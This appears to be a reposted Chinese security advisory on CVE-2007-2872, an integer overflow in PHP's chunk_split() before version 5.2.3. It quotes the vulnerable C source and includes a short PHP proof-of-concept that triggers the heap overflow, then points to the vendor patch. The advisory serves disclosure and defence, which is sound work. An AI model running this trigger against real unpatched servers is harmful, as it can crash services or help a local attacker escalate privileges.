PHP5.2下chunk_split()函数整数溢出漏洞 分析


Posted in PHP onJune 06, 2007

受影响系统:
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*来源:Gerhard Wagner

链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技

PHP 相关文章推荐
session 的生命周期是多长
Oct 09 PHP
BBS(php &amp; mysql)完整版(二)
Oct 09 PHP
php selectradio和checkbox默认选择的实现方法详解
Jun 29 PHP
php实现异步数据调用的方法
Dec 24 PHP
Zend Framework入门之环境配置及第一个Hello World示例(附demo源码下载)
Mar 21 PHP
thinkPHP3.x常量整理(预定义常量/路径常量/系统常量)
May 20 PHP
PHP7安装Redis扩展教程【Linux与Windows平台】
Sep 30 PHP
PHP GD库相关图像生成和处理函数小结
Sep 30 PHP
PHP PDOStatement::fetchColumn讲解
Jan 31 PHP
Laravel 解决419错误 -ajax请求错误的问题(CSRF验证)
Oct 25 PHP
php使用fputcsv实现大数据的导出操作详解
Feb 27 PHP
php实现商城购物车的思路和源码分析
Jul 23 PHP
phpMyAdmin下载、安装和使用入门教程
May 31 #PHP
测试您的 PHP 水平的题目
May 30 #PHP
Discuz板块横排显示图片的实现方法
May 28 #PHP
中国站长站 For Dede4.0 采集规则
May 27 #PHP
MySQL GBK→UTF-8编码转换
May 24 #PHP
Win2003服务器安全加固设置--进一步提高服务器安全性
May 23 #PHP
站长助手-网站web在线管理程序 v1.0 下载
May 12 #PHP
You might like
php强制运行广告的方法
2014/12/01 PHP
FastCGI 进程意外退出造成500错误
2015/07/26 PHP
wampserver改变默认网站目录的办法
2015/08/05 PHP
thinkPHP5框架导出Excel文件简单操作示例
2018/08/03 PHP
基于Laravel 多个中间件的执行顺序详解
2019/10/21 PHP
线路分流自动跳转代码;希望对大家有用!
2006/12/02 Javascript
Javascript 日期对象Date扩展方法
2009/05/30 Javascript
JavaScript 权威指南(第四版) 读书笔记
2009/08/11 Javascript
js 分栏效果实现代码
2009/08/29 Javascript
Vue.js原理分析之observer模块详解
2017/02/17 Javascript
JavaScript实现随机数生成器(去重)
2017/10/13 Javascript
vue写一个组件
2018/04/09 Javascript
详解JavaScript中的强制类型转换
2019/04/15 Javascript
layer设置maxWidth及maxHeight解决方案
2019/07/26 Javascript
解析JS在获取当前月的最后一天遇到的坑
2019/08/30 Javascript
ES6新增的数组知识实例小结
2020/05/23 Javascript
[07:27]DOTA2卡尔工作室 英雄介绍水晶室女篇
2013/06/21 DOTA
[01:08:10]2014 DOTA2国际邀请赛中国区预选赛 SPD-GAMING VS LGD-CDEC
2014/05/22 DOTA
Python排序搜索基本算法之选择排序实例分析
2017/12/09 Python
基于随机梯度下降的矩阵分解推荐算法(python)
2018/08/31 Python
pygame实现简易飞机大战
2018/09/11 Python
python批量复制图片到另一个文件夹
2018/09/17 Python
Python实现html转换为pdf报告(生成pdf报告)功能示例
2019/05/04 Python
python pandas时序处理相关功能详解
2019/07/03 Python
Django框架中间件定义与使用方法案例分析
2019/11/28 Python
python实现QQ邮箱发送邮件
2020/03/06 Python
详解CSS中iconfont的使用
2015/08/04 HTML / CSS
html5视频常用API接口的实战示例
2020/03/20 HTML / CSS
EM Cosmetics官网:由彩妆大神Michelle Phan创办的独立品牌
2020/04/27 全球购物
土木工程毕业生自荐信
2013/09/21 职场文书
应届行政管理专业个人自我评价
2013/12/28 职场文书
六月份红领巾广播稿
2014/02/03 职场文书
小学庆六一活动方案
2014/02/28 职场文书
英语四级考试作弊检讨书
2014/09/29 职场文书
先进教师个人总结
2015/02/11 职场文书
2016年“我们的节日·重阳节”主题活动总结
2016/04/01 职场文书